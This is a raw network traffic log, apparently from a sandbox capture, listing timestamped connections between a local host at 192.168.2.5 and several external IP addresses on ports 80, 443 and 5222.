Sep 30, 2024 12:21:04.547380924 CEST	80	50230	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.567378044 CEST	443	50213	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.567521095 CEST	443	50213	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.567531109 CEST	50213	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.567569971 CEST	50213	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.567598104 CEST	50213	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.571399927 CEST	443	50225	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.572742939 CEST	80	50226	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.572755098 CEST	5222	50224	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.578835964 CEST	5222	50215	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.578898907 CEST	50215	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.634841919 CEST	50229	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.640970945 CEST	50227	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.641360044 CEST	50230	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.641407013 CEST	50228	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.644010067 CEST	50231	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.644377947 CEST	50232	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.644404888 CEST	443	50232	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.644498110 CEST	50232	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.645701885 CEST	50233	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.645925999 CEST	50232	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.645937920 CEST	443	50232	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.648933887 CEST	5222	50231	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.648988962 CEST	50231	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.649331093 CEST	50231	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.649421930 CEST	80	50194	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.649492979 CEST	50194	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:04.650840044 CEST	80	50233	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.650918007 CEST	50233	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.651065111 CEST	50233	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.654135942 CEST	5222	50231	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.656071901 CEST	80	50233	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.656126022 CEST	50233	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.660445929 CEST	443	50216	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.660510063 CEST	50216	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.660559893 CEST	50216	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.660976887 CEST	80	50233	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.678838968 CEST	5222	50221	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:04.678890944 CEST	50221	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.679399014 CEST	443	50229	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.686731100 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.687150002 CEST	50219	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.687407970 CEST	443	50228	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.688584089 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.688878059 CEST	80	50230	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.688888073 CEST	5222	50227	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:04.693506956 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.693523884 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.736833096 CEST	80	50219	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.739267111 CEST	80	50197	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.739321947 CEST	50197	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.747467995 CEST	50231	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.747688055 CEST	50233	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.747757912 CEST	50232	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.747811079 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.751019001 CEST	50235	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.751044989 CEST	443	50235	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.751060963 CEST	50234	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.751104116 CEST	50235	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.752542973 CEST	50235	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.752552986 CEST	443	50235	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.752588987 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.752820969 CEST	50236	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.752861023 CEST	443	50236	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.752916098 CEST	50236	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.754108906 CEST	50237	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.754326105 CEST	50236	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.754344940 CEST	443	50236	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.755939960 CEST	5222	50234	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.756007910 CEST	50234	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.756294966 CEST	50234	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.758842945 CEST	80	50237	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.758913040 CEST	50237	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.759260893 CEST	50237	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.760154963 CEST	443	50220	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.760225058 CEST	50220	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.760248899 CEST	50220	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.761147976 CEST	5222	50234	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.764034986 CEST	80	50237	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.764101982 CEST	50237	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.767905951 CEST	443	50222	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.767987013 CEST	50222	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.768007040 CEST	50222	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.768860102 CEST	80	50237	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:04.792911053 CEST	80	50233	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.792922974 CEST	5222	50231	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.793394089 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.795399904 CEST	443	50232	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.798491001 CEST	5222	50224	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:04.798541069 CEST	50224	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.798913002 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:04.798971891 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:04.857959032 CEST	50236	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.863770962 CEST	50234	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.863930941 CEST	50237	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:04.864265919 CEST	50235	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.867341995 CEST	50238	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.869092941 CEST	50239	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.869153023 CEST	443	50239	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.869223118 CEST	50239	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.870501995 CEST	50239	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.870527983 CEST	443	50239	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.872529030 CEST	50240	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:04.899410963 CEST	443	50236	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.907407045 CEST	443	50235	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.970372915 CEST	50239	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.973797083 CEST	50241	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:04.975814104 CEST	50242	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.975852013 CEST	443	50242	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.975925922 CEST	50242	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.977124929 CEST	50242	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:04.977140903 CEST	443	50242	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:04.978738070 CEST	50243	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.978771925 CEST	443	50243	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.978827000 CEST	50243	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.980515957 CEST	50243	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:04.980529070 CEST	443	50243	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:04.982105017 CEST	50244	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.011415958 CEST	443	50239	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.023864031 CEST	80	50201	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.023921967 CEST	50201	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.023986101 CEST	5222	50227	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.024107933 CEST	50227	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.024506092 CEST	80	50204	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.024545908 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.024564028 CEST	5222	50238	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.024565935 CEST	50204	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.024597883 CEST	80	50240	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.024612904 CEST	50218	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.024626970 CEST	5222	50241	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.024636984 CEST	50238	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.024653912 CEST	50240	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.024683952 CEST	80	50244	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.024688959 CEST	50241	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.024732113 CEST	50244	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.025176048 CEST	50241	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.025645018 CEST	50244	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.028992891 CEST	443	50229	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.029071093 CEST	50229	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.029071093 CEST	50229	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.029365063 CEST	443	50225	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.029427052 CEST	50225	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.029464006 CEST	50225	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.029575109 CEST	5222	50218	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.029839039 CEST	443	50228	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.029962063 CEST	50228	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.030057907 CEST	50228	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.030401945 CEST	5222	50241	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.030411959 CEST	80	50244	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.030451059 CEST	50244	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.035533905 CEST	80	50244	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.036710024 CEST	5222	50231	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.036760092 CEST	50231	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.068810940 CEST	80	50237	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.068823099 CEST	5222	50234	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.079731941 CEST	50243	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.085778952 CEST	50241	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.086131096 CEST	50242	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.086221933 CEST	50244	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.089169025 CEST	50245	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.089612007 CEST	50246	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.089641094 CEST	443	50246	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.089705944 CEST	50246	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.090854883 CEST	50246	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.090878010 CEST	443	50246	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.091309071 CEST	50247	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.094022036 CEST	5222	50245	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.094088078 CEST	50245	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.094290018 CEST	50245	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.096096992 CEST	80	50247	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.096157074 CEST	50247	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.096311092 CEST	50247	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.099210024 CEST	5222	50245	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.101387024 CEST	80	50247	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.101439953 CEST	50247	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.103549957 CEST	443	50232	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.103621006 CEST	50232	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.103641033 CEST	50232	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.106266022 CEST	80	50247	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.124739885 CEST	5222	50234	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.124850988 CEST	50234	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.127402067 CEST	443	50243	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.127405882 CEST	443	50242	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.136873007 CEST	80	50244	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.136878014 CEST	5222	50241	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.160623074 CEST	80	50208	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.160720110 CEST	50208	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.192027092 CEST	50245	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.192284107 CEST	50246	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.192964077 CEST	50247	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.199346066 CEST	50249	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.199354887 CEST	50248	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.199388981 CEST	443	50249	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.200148106 CEST	50250	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.200181007 CEST	443	50250	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.200259924 CEST	50250	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.200262070 CEST	50249	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.201813936 CEST	50249	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.201827049 CEST	443	50249	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.202188015 CEST	50250	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.202202082 CEST	443	50250	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.203253031 CEST	50251	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.204574108 CEST	5222	50248	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.204742908 CEST	50248	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.204943895 CEST	50248	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.208595037 CEST	80	50251	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.209248066 CEST	50251	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.209424019 CEST	50251	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.209747076 CEST	5222	50248	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.214240074 CEST	80	50251	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.214334011 CEST	50251	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.215250969 CEST	443	50235	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.215473890 CEST	443	50235	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.215564966 CEST	50235	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.215564966 CEST	50235	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.215564966 CEST	50235	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.219105959 CEST	80	50251	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.237417936 CEST	443	50236	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.237504959 CEST	50236	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.237504959 CEST	50236	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.239403963 CEST	443	50246	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.244868994 CEST	80	50247	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.244940042 CEST	5222	50245	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.303302050 CEST	50250	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.311012030 CEST	50248	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.311445951 CEST	50251	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.311448097 CEST	50249	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.314146042 CEST	50252	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.314150095 CEST	50253	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.314192057 CEST	443	50253	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.314523935 CEST	50253	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.316052914 CEST	50253	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.316077948 CEST	443	50253	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.316314936 CEST	50254	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.318996906 CEST	5222	50252	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.319186926 CEST	50252	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.319977045 CEST	50252	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.321306944 CEST	80	50254	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.321495056 CEST	50254	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.321796894 CEST	50254	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.324815989 CEST	5222	50252	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.326554060 CEST	80	50254	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.326683998 CEST	50254	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.331482887 CEST	80	50254	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.347405910 CEST	443	50250	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.355398893 CEST	443	50249	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.356842995 CEST	80	50251	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.356856108 CEST	5222	50248	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.419092894 CEST	5222	50241	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.421207905 CEST	50241	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.431663990 CEST	50252	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.431725025 CEST	50254	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.432065010 CEST	50253	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.434360027 CEST	50255	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.436330080 CEST	50257	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.436376095 CEST	443	50257	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.436393023 CEST	50256	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.436414003 CEST	443	50256	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.436491966 CEST	50257	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.436525106 CEST	50256	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.438689947 CEST	50256	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.438703060 CEST	443	50256	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.438855886 CEST	50257	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.438869953 CEST	443	50257	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.439203978 CEST	5222	50255	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.439563036 CEST	50258	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.439732075 CEST	50255	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.439848900 CEST	50255	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.444391966 CEST	80	50258	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.444562912 CEST	5222	50255	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.444729090 CEST	50258	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.444890022 CEST	50258	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.449650049 CEST	80	50258	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.453191042 CEST	50258	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.458067894 CEST	80	50258	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.476726055 CEST	80	50254	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.476737976 CEST	5222	50252	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.477890968 CEST	443	50242	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.477997065 CEST	50242	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.477997065 CEST	50242	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.479403019 CEST	443	50253	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.480699062 CEST	443	50243	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.480789900 CEST	50243	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.480789900 CEST	50243	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.484112024 CEST	443	50239	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.484222889 CEST	50239	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.484224081 CEST	50239	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.484246016 CEST	443	50239	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.484469891 CEST	50239	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.488240004 CEST	5222	50245	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.489167929 CEST	50245	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.545149088 CEST	50257	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.551229954 CEST	50255	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.551233053 CEST	50258	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.551493883 CEST	50256	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.553561926 CEST	50259	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.553591013 CEST	443	50259	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.553838968 CEST	50259	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.554856062 CEST	50260	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.554856062 CEST	50259	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.554883003 CEST	443	50259	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.555692911 CEST	50261	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.559691906 CEST	5222	50260	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.560507059 CEST	80	50261	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.560595989 CEST	50261	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.560681105 CEST	50260	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.561068058 CEST	50260	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.561240911 CEST	50261	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.565929890 CEST	5222	50260	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.566109896 CEST	80	50261	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.566219091 CEST	443	50246	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.566323042 CEST	50246	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.566323042 CEST	50246	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.566517115 CEST	50261	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.571257114 CEST	80	50261	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.578480959 CEST	5222	50248	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.584211111 CEST	50248	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.591413021 CEST	443	50257	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.595407963 CEST	443	50256	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.600795984 CEST	5222	50255	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.600810051 CEST	80	50258	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.630430937 CEST	80	50217	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.630543947 CEST	50217	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.647841930 CEST	80	50219	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.649867058 CEST	50219	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.655482054 CEST	50261	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.655519962 CEST	50260	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.655811071 CEST	50259	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.657721043 CEST	50262	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.657727957 CEST	50263	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.657776117 CEST	443	50263	188.114.97.3	192.168.2.5
